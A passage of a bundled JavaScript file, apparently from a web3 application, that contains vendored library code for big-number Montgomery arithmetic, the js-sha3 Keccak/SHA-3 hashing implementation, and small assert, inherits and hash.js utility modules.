t.isub(c).iushrn(this.shift);\n var res = u;\n if (u.cmp(this.m) >= 0) {\n res = u.isub(this.m);\n } else if (u.cmpn(0) < 0) {\n res = u.iadd(this.m);\n }\n return res._forceRed(this);\n };\n Mont.prototype.mul = function mul3(a, b) {\n if (a.isZero() || b.isZero())\n return new BN3(0)._forceRed(this);\n var t = a.mul(b);\n var c = t.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m);\n var u = t.isub(c).iushrn(this.shift);\n var res = u;\n if (u.cmp(this.m) >= 0) {\n res = u.isub(this.m);\n } else if (u.cmpn(0) < 0) {\n res = u.iadd(this.m);\n }\n return res._forceRed(this);\n };\n Mont.prototype.invm = function invm(a) {\n var res = this.imod(a._invmp(this.m).mul(this.r2));\n return res._forceRed(this);\n };\n })(typeof module === \"undefined\" || module, exports);\n }\n});\n\n// node_modules/js-sha3/src/sha3.js\nvar require_sha3 = __commonJS({\n \"node_modules/js-sha3/src/sha3.js\"(exports, module) {\n \"use strict\";\n init_define_chainIDList();\n init_define_extraRpcs();\n (function() {\n \"use strict\";\n var INPUT_ERROR = \"input is invalid type\";\n var FINALIZE_ERROR = \"finalize already called\";\n var WINDOW = typeof window === \"object\";\n var root = WINDOW ? window : {};\n if (root.JS_SHA3_NO_WINDOW) {\n WINDOW = false;\n }\n var WEB_WORKER = !WINDOW && typeof self === \"object\";\n var NODE_JS = !root.JS_SHA3_NO_NODE_JS && typeof process === \"object\" && process.versions && process.versions.node;\n if (NODE_JS) {\n root = global;\n } else if (WEB_WORKER) {\n root = self;\n }\n var COMMON_JS = !root.JS_SHA3_NO_COMMON_JS && typeof module === \"object\" && module.exports;\n var AMD = typeof define === \"function\" && define.amd;\n var ARRAY_BUFFER = !root.JS_SHA3_NO_ARRAY_BUFFER && typeof ArrayBuffer !== \"undefined\";\n var HEX_CHARS = \"0123456789abcdef\".split(\"\");\n var SHAKE_PADDING = [31, 7936, 2031616, 520093696];\n var CSHAKE_PADDING = [4, 1024, 262144, 67108864];\n var KECCAK_PADDING = [1, 256, 65536, 16777216];\n var PADDING = [6, 1536, 393216, 100663296];\n var SHIFT = [0, 8, 16, 24];\n var RC = [\n 1,\n 0,\n 32898,\n 0,\n 32906,\n 2147483648,\n 2147516416,\n 2147483648,\n 32907,\n 0,\n 2147483649,\n 0,\n 2147516545,\n 2147483648,\n 32777,\n 2147483648,\n 138,\n 0,\n 136,\n 0,\n 2147516425,\n 0,\n 2147483658,\n 0,\n 2147516555,\n 0,\n 139,\n 2147483648,\n 32905,\n 2147483648,\n 32771,\n 2147483648,\n 32770,\n 2147483648,\n 128,\n 2147483648,\n 32778,\n 0,\n 2147483658,\n 2147483648,\n 2147516545,\n 2147483648,\n 32896,\n 2147483648,\n 2147483649,\n 0,\n 2147516424,\n 2147483648\n ];\n var BITS = [224, 256, 384, 512];\n var SHAKE_BITS = [128, 256];\n var OUTPUT_TYPES = [\"hex\", \"buffer\", \"arrayBuffer\", \"array\", \"digest\"];\n var CSHAKE_BYTEPAD = {\n \"128\": 168,\n \"256\": 136\n };\n if (root.JS_SHA3_NO_NODE_JS || !Array.isArray) {\n Array.isArray = function(obj) {\n return Object.prototype.toString.call(obj) === \"[object Array]\";\n };\n }\n if (ARRAY_BUFFER && (root.JS_SHA3_NO_ARRAY_BUFFER_IS_VIEW || !ArrayBuffer.isView)) {\n ArrayBuffer.isView = function(obj) {\n return typeof obj === \"object\" && obj.buffer && obj.buffer.constructor === ArrayBuffer;\n };\n }\n var createOutputMethod = function(bits2, padding2, outputType) {\n return function(message) {\n return new Keccak(bits2, padding2, bits2).update(message)[outputType]();\n };\n };\n var createShakeOutputMethod = function(bits2, padding2, outputType) {\n return function(message, outputBits) {\n return new Keccak(bits2, padding2, outputBits).update(message)[outputType]();\n };\n };\n var createCshakeOutputMethod = function(bits2, padding2, outputType) {\n return function(message, outputBits, n, s) {\n return methods[\"cshake\" + bits2].update(message, outputBits, n, s)[outputType]();\n };\n };\n var createKmacOutputMethod = function(bits2, padding2, outputType) {\n return function(key2, message, outputBits, s) {\n return methods[\"kmac\" + bits2].update(key2, message, outputBits, s)[outputType]();\n };\n };\n var createOutputMethods = function(method, createMethod2, bits2, padding2) {\n for (var i2 = 0; i2 < OUTPUT_TYPES.length; ++i2) {\n var type = OUTPUT_TYPES[i2];\n method[type] = createMethod2(bits2, padding2, type);\n }\n return method;\n };\n var createMethod = function(bits2, padding2) {\n var method = createOutputMethod(bits2, padding2, \"hex\");\n method.create = function() {\n return new Keccak(bits2, padding2, bits2);\n };\n method.update = function(message) {\n return method.create().update(message);\n };\n return createOutputMethods(method, createOutputMethod, bits2, padding2);\n };\n var createShakeMethod = function(bits2, padding2) {\n var method = createShakeOutputMethod(bits2, padding2, \"hex\");\n method.create = function(outputBits) {\n return new Keccak(bits2, padding2, outputBits);\n };\n method.update = function(message, outputBits) {\n return method.create(outputBits).update(message);\n };\n return createOutputMethods(method, createShakeOutputMethod, bits2, padding2);\n };\n var createCshakeMethod = function(bits2, padding2) {\n var w = CSHAKE_BYTEPAD[bits2];\n var method = createCshakeOutputMethod(bits2, padding2, \"hex\");\n method.create = function(outputBits, n, s) {\n if (!n && !s) {\n return methods[\"shake\" + bits2].create(outputBits);\n } else {\n return new Keccak(bits2, padding2, outputBits).bytepad([n, s], w);\n }\n };\n method.update = function(message, outputBits, n, s) {\n return method.create(outputBits, n, s).update(message);\n };\n return createOutputMethods(method, createCshakeOutputMethod, bits2, padding2);\n };\n var createKmacMethod = function(bits2, padding2) {\n var w = CSHAKE_BYTEPAD[bits2];\n var method = createKmacOutputMethod(bits2, padding2, \"hex\");\n method.create = function(key2, outputBits, s) {\n return new Kmac(bits2, padding2, outputBits).bytepad([\"KMAC\", s], w).bytepad([key2], w);\n };\n method.update = function(key2, message, outputBits, s) {\n return method.create(key2, outputBits, s).update(message);\n };\n return createOutputMethods(method, createKmacOutputMethod, bits2, padding2);\n };\n var algorithms = [\n { name: \"keccak\", padding: KECCAK_PADDING, bits: BITS, createMethod },\n { name: \"sha3\", padding: PADDING, bits: BITS, createMethod },\n { name: \"shake\", padding: SHAKE_PADDING, bits: SHAKE_BITS, createMethod: createShakeMethod },\n { name: \"cshake\", padding: CSHAKE_PADDING, bits: SHAKE_BITS, createMethod: createCshakeMethod },\n { name: \"kmac\", padding: CSHAKE_PADDING, bits: SHAKE_BITS, createMethod: createKmacMethod }\n ];\n var methods = {}, methodNames = [];\n for (var i = 0; i < algorithms.length; ++i) {\n var algorithm = algorithms[i];\n var bits = algorithm.bits;\n for (var j = 0; j < bits.length; ++j) {\n var methodName = algorithm.name + \"_\" + bits[j];\n methodNames.push(methodName);\n methods[methodName] = algorithm.createMethod(bits[j], algorithm.padding);\n if (algorithm.name !== \"sha3\") {\n var newMethodName = algorithm.name + bits[j];\n methodNames.push(newMethodName);\n methods[newMethodName] = methods[methodName];\n }\n }\n }\n function Keccak(bits2, padding2, outputBits) {\n this.blocks = [];\n this.s = [];\n this.padding = padding2;\n this.outputBits = outputBits;\n this.reset = true;\n this.finalized = false;\n this.block = 0;\n this.start = 0;\n this.blockCount = 1600 - (bits2 << 1) >> 5;\n this.byteCount = this.blockCount << 2;\n this.outputBlocks = outputBits >> 5;\n this.extraBytes = (outputBits & 31) >> 3;\n for (var i2 = 0; i2 < 50; ++i2) {\n this.s[i2] = 0;\n }\n }\n Keccak.prototype.update = function(message) {\n if (this.finalized) {\n throw new Error(FINALIZE_ERROR);\n }\n var notString, type = typeof message;\n if (type !== \"string\") {\n if (type === \"object\") {\n if (message === null) {\n throw new Error(INPUT_ERROR);\n } else if (ARRAY_BUFFER && message.constructor === ArrayBuffer) {\n message = new Uint8Array(message);\n } else if (!Array.isArray(message)) {\n if (!ARRAY_BUFFER || !ArrayBuffer.isView(message)) {\n throw new Error(INPUT_ERROR);\n }\n }\n } else {\n throw new Error(INPUT_ERROR);\n }\n notString = true;\n }\n var blocks = this.blocks, byteCount = this.byteCount, length = message.length, blockCount = this.blockCount, index = 0, s = this.s, i2, code;\n while (index < length) {\n if (this.reset) {\n this.reset = false;\n blocks[0] = this.block;\n for (i2 = 1; i2 < blockCount + 1; ++i2) {\n blocks[i2] = 0;\n }\n }\n if (notString) {\n for (i2 = this.start; index < length && i2 < byteCount; ++index) {\n blocks[i2 >> 2] |= message[index] << SHIFT[i2++ & 3];\n }\n } else {\n for (i2 = this.start; index < length && i2 < byteCount; ++index) {\n code = message.charCodeAt(index);\n if (code < 128) {\n blocks[i2 >> 2] |= code << SHIFT[i2++ & 3];\n } else if (code < 2048) {\n blocks[i2 >> 2] |= (192 | code >> 6) << SHIFT[i2++ & 3];\n blocks[i2 >> 2] |= (128 | code & 63) << SHIFT[i2++ & 3];\n } else if (code < 55296 || code >= 57344) {\n blocks[i2 >> 2] |= (224 | code >> 12) << SHIFT[i2++ & 3];\n blocks[i2 >> 2] |= (128 | code >> 6 & 63) << SHIFT[i2++ & 3];\n blocks[i2 >> 2] |= (128 | code & 63) << SHIFT[i2++ & 3];\n } else {\n code = 65536 + ((code & 1023) << 10 | message.charCodeAt(++index) & 1023);\n blocks[i2 >> 2] |= (240 | code >> 18) << SHIFT[i2++ & 3];\n blocks[i2 >> 2] |= (128 | code >> 12 & 63) << SHIFT[i2++ & 3];\n blocks[i2 >> 2] |= (128 | code >> 6 & 63) << SHIFT[i2++ & 3];\n blocks[i2 >> 2] |= (128 | code & 63) << SHIFT[i2++ & 3];\n }\n }\n }\n this.lastByteIndex = i2;\n if (i2 >= byteCount) {\n this.start = i2 - byteCount;\n this.block = blocks[blockCount];\n for (i2 = 0; i2 < blockCount; ++i2) {\n s[i2] ^= blocks[i2];\n }\n f(s);\n this.reset = true;\n } else {\n this.start = i2;\n }\n }\n return this;\n };\n Keccak.prototype.encode = function(x, right) {\n var o = x & 255, n = 1;\n var bytes = [o];\n x = x >> 8;\n o = x & 255;\n while (o > 0) {\n bytes.unshift(o);\n x = x >> 8;\n o = x & 255;\n ++n;\n }\n if (right) {\n bytes.push(n);\n } else {\n bytes.unshift(n);\n }\n this.update(bytes);\n return bytes.length;\n };\n Keccak.prototype.encodeString = function(str) {\n var notString, type = typeof str;\n if (type !== \"string\") {\n if (type === \"object\") {\n if (str === null) {\n throw new Error(INPUT_ERROR);\n } else if (ARRAY_BUFFER && str.constructor === ArrayBuffer) {\n str = new Uint8Array(str);\n } else if (!Array.isArray(str)) {\n if (!ARRAY_BUFFER || !ArrayBuffer.isView(str)) {\n throw new Error(INPUT_ERROR);\n }\n }\n } else {\n throw new Error(INPUT_ERROR);\n }\n notString = true;\n }\n var bytes = 0, length = str.length;\n if (notString) {\n bytes = length;\n } else {\n for (var i2 = 0; i2 < str.length; ++i2) {\n var code = str.charCodeAt(i2);\n if (code < 128) {\n bytes += 1;\n } else if (code < 2048) {\n bytes += 2;\n } else if (code < 55296 || code >= 57344) {\n bytes += 3;\n } else {\n code = 65536 + ((code & 1023) << 10 | str.charCodeAt(++i2) & 1023);\n bytes += 4;\n }\n }\n }\n bytes += this.encode(bytes * 8);\n this.update(str);\n return bytes;\n };\n Keccak.prototype.bytepad = function(strs, w) {\n var bytes = this.encode(w);\n for (var i2 = 0; i2 < strs.length; ++i2) {\n bytes += this.encodeString(strs[i2]);\n }\n var paddingBytes = w - bytes % w;\n var zeros = [];\n zeros.length = paddingBytes;\n this.update(zeros);\n return this;\n };\n Keccak.prototype.finalize = function() {\n if (this.finalized) {\n return;\n }\n this.finalized = true;\n var blocks = this.blocks, i2 = this.lastByteIndex, blockCount = this.blockCount, s = this.s;\n blocks[i2 >> 2] |= this.padding[i2 & 3];\n if (this.lastByteIndex === this.byteCount) {\n blocks[0] = blocks[blockCount];\n for (i2 = 1; i2 < blockCount + 1; ++i2) {\n blocks[i2] = 0;\n }\n }\n blocks[blockCount - 1] |= 2147483648;\n for (i2 = 0; i2 < blockCount; ++i2) {\n s[i2] ^= blocks[i2];\n }\n f(s);\n };\n Keccak.prototype.toString = Keccak.prototype.hex = function() {\n this.finalize();\n var blockCount = this.blockCount, s = this.s, outputBlocks = this.outputBlocks, extraBytes = this.extraBytes, i2 = 0, j2 = 0;\n var hex = \"\", block;\n while (j2 < outputBlocks) {\n for (i2 = 0; i2 < blockCount && j2 < outputBlocks; ++i2, ++j2) {\n block = s[i2];\n hex += HEX_CHARS[block >> 4 & 15] + HEX_CHARS[block & 15] + HEX_CHARS[block >> 12 & 15] + HEX_CHARS[block >> 8 & 15] + HEX_CHARS[block >> 20 & 15] + HEX_CHARS[block >> 16 & 15] + HEX_CHARS[block >> 28 & 15] + HEX_CHARS[block >> 24 & 15];\n }\n if (j2 % blockCount === 0) {\n f(s);\n i2 = 0;\n }\n }\n if (extraBytes) {\n block = s[i2];\n hex += HEX_CHARS[block >> 4 & 15] + HEX_CHARS[block & 15];\n if (extraBytes > 1) {\n hex += HEX_CHARS[block >> 12 & 15] + HEX_CHARS[block >> 8 & 15];\n }\n if (extraBytes > 2) {\n hex += HEX_CHARS[block >> 20 & 15] + HEX_CHARS[block >> 16 & 15];\n }\n }\n return hex;\n };\n Keccak.prototype.arrayBuffer = function() {\n this.finalize();\n var blockCount = this.blockCount, s = this.s, outputBlocks = this.outputBlocks, extraBytes = this.extraBytes, i2 = 0, j2 = 0;\n var bytes = this.outputBits >> 3;\n var buffer;\n if (extraBytes) {\n buffer = new ArrayBuffer(outputBlocks + 1 << 2);\n } else {\n buffer = new ArrayBuffer(bytes);\n }\n var array = new Uint32Array(buffer);\n while (j2 < outputBlocks) {\n for (i2 = 0; i2 < blockCount && j2 < outputBlocks; ++i2, ++j2) {\n array[j2] = s[i2];\n }\n if (j2 % blockCount === 0) {\n f(s);\n }\n }\n if (extraBytes) {\n array[i2] = s[i2];\n buffer = buffer.slice(0, bytes);\n }\n return buffer;\n };\n Keccak.prototype.buffer = Keccak.prototype.arrayBuffer;\n Keccak.prototype.digest = Keccak.prototype.array = function() {\n this.finalize();\n var blockCount = this.blockCount, s = this.s, outputBlocks = this.outputBlocks, extraBytes = this.extraBytes, i2 = 0, j2 = 0;\n var array = [], offset, block;\n while (j2 < outputBlocks) {\n for (i2 = 0; i2 < blockCount && j2 < outputBlocks; ++i2, ++j2) {\n offset = j2 << 2;\n block = s[i2];\n array[offset] = block & 255;\n array[offset + 1] = block >> 8 & 255;\n array[offset + 2] = block >> 16 & 255;\n array[offset + 3] = block >> 24 & 255;\n }\n if (j2 % blockCount === 0) {\n f(s);\n }\n }\n if (extraBytes) {\n offset = j2 << 2;\n block = s[i2];\n array[offset] = block & 255;\n if (extraBytes > 1) {\n array[offset + 1] = block >> 8 & 255;\n }\n if (extraBytes > 2) {\n array[offset + 2] = block >> 16 & 255;\n }\n }\n return array;\n };\n function Kmac(bits2, padding2, outputBits) {\n Keccak.call(this, bits2, padding2, outputBits);\n }\n Kmac.prototype = new Keccak();\n Kmac.prototype.finalize = function() {\n this.encode(this.outputBits, true);\n return Keccak.prototype.finalize.call(this);\n };\n var f = function(s) {\n var h, l, n, c0, c1, c2, c3, c4, c5, c6, c7, c8, c9, b0, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44, b45, b46, b47, b48, b49;\n for (n = 0; n < 48; n += 2) {\n c0 = s[0] ^ s[10] ^ s[20] ^ s[30] ^ s[40];\n c1 = s[1] ^ s[11] ^ s[21] ^ s[31] ^ s[41];\n c2 = s[2] ^ s[12] ^ s[22] ^ s[32] ^ s[42];\n c3 = s[3] ^ s[13] ^ s[23] ^ s[33] ^ s[43];\n c4 = s[4] ^ s[14] ^ s[24] ^ s[34] ^ s[44];\n c5 = s[5] ^ s[15] ^ s[25] ^ s[35] ^ s[45];\n c6 = s[6] ^ s[16] ^ s[26] ^ s[36] ^ s[46];\n c7 = s[7] ^ s[17] ^ s[27] ^ s[37] ^ s[47];\n c8 = s[8] ^ s[18] ^ s[28] ^ s[38] ^ s[48];\n c9 = s[9] ^ s[19] ^ s[29] ^ s[39] ^ s[49];\n h = c8 ^ (c2 << 1 | c3 >>> 31);\n l = c9 ^ (c3 << 1 | c2 >>> 31);\n s[0] ^= h;\n s[1] ^= l;\n s[10] ^= h;\n s[11] ^= l;\n s[20] ^= h;\n s[21] ^= l;\n s[30] ^= h;\n s[31] ^= l;\n s[40] ^= h;\n s[41] ^= l;\n h = c0 ^ (c4 << 1 | c5 >>> 31);\n l = c1 ^ (c5 << 1 | c4 >>> 31);\n s[2] ^= h;\n s[3] ^= l;\n s[12] ^= h;\n s[13] ^= l;\n s[22] ^= h;\n s[23] ^= l;\n s[32] ^= h;\n s[33] ^= l;\n s[42] ^= h;\n s[43] ^= l;\n h = c2 ^ (c6 << 1 | c7 >>> 31);\n l = c3 ^ (c7 << 1 | c6 >>> 31);\n s[4] ^= h;\n s[5] ^= l;\n s[14] ^= h;\n s[15] ^= l;\n s[24] ^= h;\n s[25] ^= l;\n s[34] ^= h;\n s[35] ^= l;\n s[44] ^= h;\n s[45] ^= l;\n h = c4 ^ (c8 << 1 | c9 >>> 31);\n l = c5 ^ (c9 << 1 | c8 >>> 31);\n s[6] ^= h;\n s[7] ^= l;\n s[16] ^= h;\n s[17] ^= l;\n s[26] ^= h;\n s[27] ^= l;\n s[36] ^= h;\n s[37] ^= l;\n s[46] ^= h;\n s[47] ^= l;\n h = c6 ^ (c0 << 1 | c1 >>> 31);\n l = c7 ^ (c1 << 1 | c0 >>> 31);\n s[8] ^= h;\n s[9] ^= l;\n s[18] ^= h;\n s[19] ^= l;\n s[28] ^= h;\n s[29] ^= l;\n s[38] ^= h;\n s[39] ^= l;\n s[48] ^= h;\n s[49] ^= l;\n b0 = s[0];\n b1 = s[1];\n b32 = s[11] << 4 | s[10] >>> 28;\n b33 = s[10] << 4 | s[11] >>> 28;\n b14 = s[20] << 3 | s[21] >>> 29;\n b15 = s[21] << 3 | s[20] >>> 29;\n b46 = s[31] << 9 | s[30] >>> 23;\n b47 = s[30] << 9 | s[31] >>> 23;\n b28 = s[40] << 18 | s[41] >>> 14;\n b29 = s[41] << 18 | s[40] >>> 14;\n b20 = s[2] << 1 | s[3] >>> 31;\n b21 = s[3] << 1 | s[2] >>> 31;\n b2 = s[13] << 12 | s[12] >>> 20;\n b3 = s[12] << 12 | s[13] >>> 20;\n b34 = s[22] << 10 | s[23] >>> 22;\n b35 = s[23] << 10 | s[22] >>> 22;\n b16 = s[33] << 13 | s[32] >>> 19;\n b17 = s[32] << 13 | s[33] >>> 19;\n b48 = s[42] << 2 | s[43] >>> 30;\n b49 = s[43] << 2 | s[42] >>> 30;\n b40 = s[5] << 30 | s[4] >>> 2;\n b41 = s[4] << 30 | s[5] >>> 2;\n b22 = s[14] << 6 | s[15] >>> 26;\n b23 = s[15] << 6 | s[14] >>> 26;\n b4 = s[25] << 11 | s[24] >>> 21;\n b5 = s[24] << 11 | s[25] >>> 21;\n b36 = s[34] << 15 | s[35] >>> 17;\n b37 = s[35] << 15 | s[34] >>> 17;\n b18 = s[45] << 29 | s[44] >>> 3;\n b19 = s[44] << 29 | s[45] >>> 3;\n b10 = s[6] << 28 | s[7] >>> 4;\n b11 = s[7] << 28 | s[6] >>> 4;\n b42 = s[17] << 23 | s[16] >>> 9;\n b43 = s[16] << 23 | s[17] >>> 9;\n b24 = s[26] << 25 | s[27] >>> 7;\n b25 = s[27] << 25 | s[26] >>> 7;\n b6 = s[36] << 21 | s[37] >>> 11;\n b7 = s[37] << 21 | s[36] >>> 11;\n b38 = s[47] << 24 | s[46] >>> 8;\n b39 = s[46] << 24 | s[47] >>> 8;\n b30 = s[8] << 27 | s[9] >>> 5;\n b31 = s[9] << 27 | s[8] >>> 5;\n b12 = s[18] << 20 | s[19] >>> 12;\n b13 = s[19] << 20 | s[18] >>> 12;\n b44 = s[29] << 7 | s[28] >>> 25;\n b45 = s[28] << 7 | s[29] >>> 25;\n b26 = s[38] << 8 | s[39] >>> 24;\n b27 = s[39] << 8 | s[38] >>> 24;\n b8 = s[48] << 14 | s[49] >>> 18;\n b9 = s[49] << 14 | s[48] >>> 18;\n s[0] = b0 ^ ~b2 & b4;\n s[1] = b1 ^ ~b3 & b5;\n s[10] = b10 ^ ~b12 & b14;\n s[11] = b11 ^ ~b13 & b15;\n s[20] = b20 ^ ~b22 & b24;\n s[21] = b21 ^ ~b23 & b25;\n s[30] = b30 ^ ~b32 & b34;\n s[31] = b31 ^ ~b33 & b35;\n s[40] = b40 ^ ~b42 & b44;\n s[41] = b41 ^ ~b43 & b45;\n s[2] = b2 ^ ~b4 & b6;\n s[3] = b3 ^ ~b5 & b7;\n s[12] = b12 ^ ~b14 & b16;\n s[13] = b13 ^ ~b15 & b17;\n s[22] = b22 ^ ~b24 & b26;\n s[23] = b23 ^ ~b25 & b27;\n s[32] = b32 ^ ~b34 & b36;\n s[33] = b33 ^ ~b35 & b37;\n s[42] = b42 ^ ~b44 & b46;\n s[43] = b43 ^ ~b45 & b47;\n s[4] = b4 ^ ~b6 & b8;\n s[5] = b5 ^ ~b7 & b9;\n s[14] = b14 ^ ~b16 & b18;\n s[15] = b15 ^ ~b17 & b19;\n s[24] = b24 ^ ~b26 & b28;\n s[25] = b25 ^ ~b27 & b29;\n s[34] = b34 ^ ~b36 & b38;\n s[35] = b35 ^ ~b37 & b39;\n s[44] = b44 ^ ~b46 & b48;\n s[45] = b45 ^ ~b47 & b49;\n s[6] = b6 ^ ~b8 & b0;\n s[7] = b7 ^ ~b9 & b1;\n s[16] = b16 ^ ~b18 & b10;\n s[17] = b17 ^ ~b19 & b11;\n s[26] = b26 ^ ~b28 & b20;\n s[27] = b27 ^ ~b29 & b21;\n s[36] = b36 ^ ~b38 & b30;\n s[37] = b37 ^ ~b39 & b31;\n s[46] = b46 ^ ~b48 & b40;\n s[47] = b47 ^ ~b49 & b41;\n s[8] = b8 ^ ~b0 & b2;\n s[9] = b9 ^ ~b1 & b3;\n s[18] = b18 ^ ~b10 & b12;\n s[19] = b19 ^ ~b11 & b13;\n s[28] = b28 ^ ~b20 & b22;\n s[29] = b29 ^ ~b21 & b23;\n s[38] = b38 ^ ~b30 & b32;\n s[39] = b39 ^ ~b31 & b33;\n s[48] = b48 ^ ~b40 & b42;\n s[49] = b49 ^ ~b41 & b43;\n s[0] ^= RC[n];\n s[1] ^= RC[n + 1];\n }\n };\n if (COMMON_JS) {\n module.exports = methods;\n } else {\n for (i = 0; i < methodNames.length; ++i) {\n root[methodNames[i]] = methods[methodNames[i]];\n }\n if (AMD) {\n define(function() {\n return methods;\n });\n }\n }\n })();\n }\n});\n\n// node_modules/minimalistic-assert/index.js\nvar require_minimalistic_assert = __commonJS({\n \"node_modules/minimalistic-assert/index.js\"(exports, module) {\n \"use strict\";\n init_define_chainIDList();\n init_define_extraRpcs();\n module.exports = assert2;\n function assert2(val, msg) {\n if (!val)\n throw new Error(msg || \"Assertion failed\");\n }\n assert2.equal = function assertEqual2(l, r2, msg) {\n if (l != r2)\n throw new Error(msg || \"Assertion failed: \" + l + \" != \" + r2);\n };\n }\n});\n\n// node_modules/inherits/inherits_browser.js\nvar require_inherits_browser = __commonJS({\n \"node_modules/inherits/inherits_browser.js\"(exports, module) {\n \"use strict\";\n init_define_chainIDList();\n init_define_extraRpcs();\n if (typeof Object.create === \"function\") {\n module.exports = function inherits2(ctor, superCtor) {\n if (superCtor) {\n ctor.super_ = superCtor;\n ctor.prototype = Object.create(superCtor.prototype, {\n constructor: {\n value: ctor,\n enumerable: false,\n writable: true,\n configurable: true\n }\n });\n }\n };\n } else {\n module.exports = function inherits2(ctor, superCtor) {\n if (superCtor) {\n ctor.super_ = superCtor;\n var TempCtor = function() {\n };\n TempCtor.prototype = superCtor.prototype;\n ctor.prototype = new TempCtor();\n ctor.prototype.constructor = ctor;\n }\n };\n }\n }\n});\n\n// node_modules/hash.js/lib/hash/utils.js\nvar require_utils = __commonJS({\n \"node_modules/hash.js/lib/hash/utils.js\"(exports) {\n \"use strict\";\n init_define_chainIDList();\n init_define_extraRpcs();\n var assert2 = require_minimalistic_assert();\n var inherits2 = require_inherits_browser();\n exports.inherits = inherits2;\n function isSurrogatePair(msg, i) {\n if ((msg.charCodeAt(i) & 64512) !== 55296) {\n return false;\n }\n if (i < 0 || i + 1 >= msg.length) {\n return false;\n }\n return (msg.charCodeAt(i + 1) & 64512) === 56320;\n }\n function toArray2(msg, enc) {\n if (Array.isArray(msg))\n return msg.slice();\n if (!msg)\n return [];\n var res = [];\n if (typeof msg === \"string\") {\n if (!enc) {\n var p = 0;\n for (var i = 0; i < msg.length; i++) {\n var c = msg.charCodeAt(i);\n if (c < 128) {\n res[p++] = c;\n } else if (c < 2048) {\n res[p++] = c >> 6 | 192;\n res[p++] = c & 63 | 128;\n } else if (isSurrogatePair(msg, i)) {\n c = 65536 + ((c & 1023) << 10) + (msg.charCodeAt(++i) & 1023);\n res[p++] = c >> 18 | 240;\n res[p++] = c >> 12 & 63 | 128;\n res[p++] = c >> 6 & 63 | 128;\n res[p++] = c & 63 | 128;\n } else {\n res[p++] = c >> 12 | 224;\n res[p++] = c >> 6 & 63 | 128;\n res[p++] = c & 63 | 128;\n }\n }\n } else if (enc === \"hex\") {\n msg = msg.replace(/[^a-z0-9]+/ig, \"\");\n if (msg.length % 2 !== 0)\n msg = \"0\" + msg;\n for (i = 0; i < msg.length; i += 2)\n res.push(parseInt(msg[i] + msg[i + 1], 16));\n }\n } else {\n for (i = 0; i < msg.length; i++)\n res[i] = msg[i] | 0;\n }\n return res;\n }\n exports.toArray = toArray2;\n function toHex2(msg) {\n var res = \"\";\n for (var i = 0; i < msg.length; i++)\n res += zero2(msg[i].toString(16));\n return res;\n }\n exports.toHex = toHex2;\n function htonl(w) {\n var res = w >>> 24 | w >>> 8 & 65280 | w << 8 & 16711680 | (w & 255) << 24;\n return res >>> 0;\n }\n exports.htonl = htonl;\n function toHex32(msg, endian) {\n var res = \"\";\n for (var i = 0; i < msg.length; i++) {\n var w = msg[i];\n if (endian === \"little\")\n w = htonl(w);\n res += zero8(w.toString(16));\n }\n return res;\n }\n exports.toHex32 = toHex32;\n function zero2(word) {\n if (word.length === 1)\n return \"0\" + word;\n else\n return word;\n }\n exports.zero2 = zero2;\n function zero8(word) {\n if (word.length === 7)\n return \"0\" + word;\n else if (word.length === 6)\n return \"00\" + word;\n else if (word.length === 5)\n return \"000\" + word;\n else if (word.length === 4)\n return \"0000\" + word;\n else if (word.length === 3)\n return \"00000\" + word;\n else if (word.length === 2)\n return \"000000\" + word;\n else if (word.length === 1)\n return \"0000000\" + word;\n else\n return word;\n }\n exports.zero8 = zero8;\n function join32(msg, start, end, endian) {\n var len = end - start;\n assert2(len % 4 === 0);\n var res = new Array(len / 4);\n for (var i = 0, k = start; i < res.length; i++, k += 4) {\n var w;\n if (endian === \"big\")\n w = msg[k] << 24 | msg[k + 1] << 16 | msg[k + 2] << 8 | msg[k + 3];\n else\n w = msg[k + 3] << 24 | msg[k + 2] << 16 | msg[k + 1] << 8 | msg[k];\n res[i] = w >>> 0;\n }\n return res;\n }\n exports.join32 = join32;\n function split32(msg, endian) {\n var res = new Array(msg.length * 4);\n for (var i = 0, k = 0; i < msg.length; i++, k += 4) {\n var m = msg[i];\n if (endian === \"big\") {\n res[k] = m >>> 24;\n res[k + 1] = m >>> 16 & 255;\n res[k + 2] = m >>> 8 & 255;\n res[k + 3] = m & 255;\n } else {\n res[k + 3] = m >>> 24;\n res[k + 2] = m >>> 16 & 255;\n res[k + 1] = m >>> 8 & 255;\n res[k] = m & 255;\n }\n }\n return res;\n }\n exports.split32 = split32;\n function rotr32(w, b) {\n return w >>> b | w << 32 - b;\n }\n exports.rotr32 = rotr32;\n function rotl32(w, b) {\n return w << b | w >>> 32 - b;\n }\n exports.rotl32 = rotl32;\n function sum32(a, b) {\n return a + b >>> 0;\n }\n exports.sum32 = sum32;\n function sum32_3(a, b, c) {\n return a + b + c >>> 0;\n }\n exports.sum32_3 = sum32_3;\n function sum32_4(a, b, c, d) {\n return a + b + c + d >>> 0;\n }\n exports.sum32_4 = sum32_4;\n function sum32_5(a, b, c, d, e) {\n return a + b + c + d + e >>> 0;\n }\n exports.sum32_5 = sum32_5;\n function sum64(buf, pos, ah, al) {\n var bh = buf[pos];\n var bl = buf[pos + 1];\n var lo = al + bl >>> 0;\n var hi = (lo < al ? 1 : 0) + ah + bh;\n buf[pos] = hi >>> 0;\n buf[pos + 1] = lo;\n }\n exports.sum64 = sum64;\n function sum64_hi(ah, al, bh, bl) {\n var lo = al + bl >>> 0;\n var hi = (lo < al ? 1 : 0) + ah + bh;\n return hi >>> 0;\n }\n exports.sum64_hi = sum64_hi;\n function sum64_lo(ah, al, bh, bl) {\n var lo = al + bl;\n return lo >>> 0;\n }\n exports.sum64_lo = sum64_lo;\n function sum64_4_hi(ah, al, bh, bl, ch, cl, dh, dl) {\n var carry = 0;\n var lo = al;\n lo = lo + bl >>> 0;\n carry += lo < al ? 1 : 0;\n lo = lo + cl >>> 0;\n carry += lo < cl ? 1 : 0;\n lo = lo + dl >>> 0;\n carry += lo < dl ? 1 : 0;\n var hi = ah + bh + ch + dh + carry;\n return hi >>> 0;\n }\n exports.sum64_4_hi = sum64_4_hi;\n function sum64_4_lo(ah, al, bh, bl, ch, cl, dh, dl) {\n var lo = al + bl + cl + dl;\n return lo >>> 0;\n }\n exports.sum64_4_lo = sum64_4_lo;\n function sum64_5_hi(ah, al, bh, bl, ch, cl, dh, dl, eh, el) {\n var carry = 0;\n var lo = al;\n lo = lo + bl >>> 0;\n carry += lo < al ? 1 : 0;\n lo 